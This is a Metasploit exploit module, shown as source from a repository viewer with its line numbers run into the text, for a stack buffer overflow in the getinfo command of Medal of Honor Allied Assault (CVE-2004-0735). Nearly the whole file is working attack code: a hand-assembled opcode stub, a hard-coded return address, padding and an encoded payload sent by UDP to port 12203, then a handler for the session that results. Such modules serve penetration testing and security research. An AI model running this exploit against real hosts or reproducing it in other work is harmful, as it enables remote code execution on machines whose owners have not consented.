Path: blob/master/modules/exploits/windows/games/mohaa_getinfo.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Medal of Honor Allied Assault getinfo Stack Buffer Overflow',15'Description' => %q{16This module exploits a stack based buffer overflow in the getinfo17command of Medal Of Honor Allied Assault.18},19'Author' => [ 'Jacopo Cervini' ],20'License' => BSD_LICENSE,21'References' => [22[ 'CVE', '2004-0735'],23[ 'OSVDB', '8061' ],24[ 'EDB', '357'],25[ 'BID', '10743'],26],27'Privileged' => false,28'Payload' => {29'Space' => 512,30'BadChars' => "\x00",31},32'Platform' => 'win',33'Targets' => [34['Medal Of Honor Allied Assault v 1.0 Universal', { 'Rets' => [ 111, 0x406957 ] }], # call ebx35],36'DisclosureDate' => '2004-07-17',37'DefaultTarget' => 0,38'Notes' => {39'Reliability' => UNKNOWN_RELIABILITY,40'Stability' => UNKNOWN_STABILITY,41'SideEffects' => UNKNOWN_SIDE_EFFECTS42}43)44)4546register_options(47[48Opt::RPORT(12203)49]50)51end5253def exploit54connect_udp5556# We should convert this to metasm - Patrick57buf = 'B' * target['Rets'][0]58buf << "\x68\x76\x76\x76\x76" * 9 # PUSH 76767676 x 959buf << "\x68\x7f\x7f\x7f\x7f" # PUSH 7F7F7F7F60buf << "\x57" # PUSH EDI61buf << "\x58" # POP EAX62buf << "\x32\x64\x24\x24" # XOR AH,BYTE PTR SS:[ESP+24]63buf << "\x32\x24\x24" # XOR AH,BYTE PTR SS:[ESP]64buf << "\x48" * 150 # DEC EAX x 15065buf << "\x50\x50" # PUSH EAX x 266buf << "\x53" # PUSH EBX67buf << "\x58" # POP EAX68buf << "\x51" # PUSH ECX69buf << "\x32\x24\x24" # XOR AH,BYTE PTR SS:[ESP]70buf << "\x6a\x7f" # PUSH 7F71buf << "\x5e" # POP ESI72buf << "\x46" * 37 # INC ESI73buf << "\x56" * 10 # PUSH ESI74buf << "\x32\x44\x24\x24" # XOR AL,BYTE PTR SS:[ESP+24]75buf << "\x49\x49" # DEC ECX76buf << "\x31\x48\x34" # XOR DWORD PTR DS:[EAX+34],ECX77buf << "\x58" * 11 # POP EAX78buf << "\x42" * 6679buf << "\x3c" * 480buf << "\x42" * 4881buf << [ target['Rets'][1] ].pack('V')8283req = "\xff\xff\xff\xff\x02" + "getinfo " + buf84req << "\r\n\r\n" + make_nops(32) + payload.encoded8586udp_sock.put(req)8788handler89disconnect_udp90end91end929394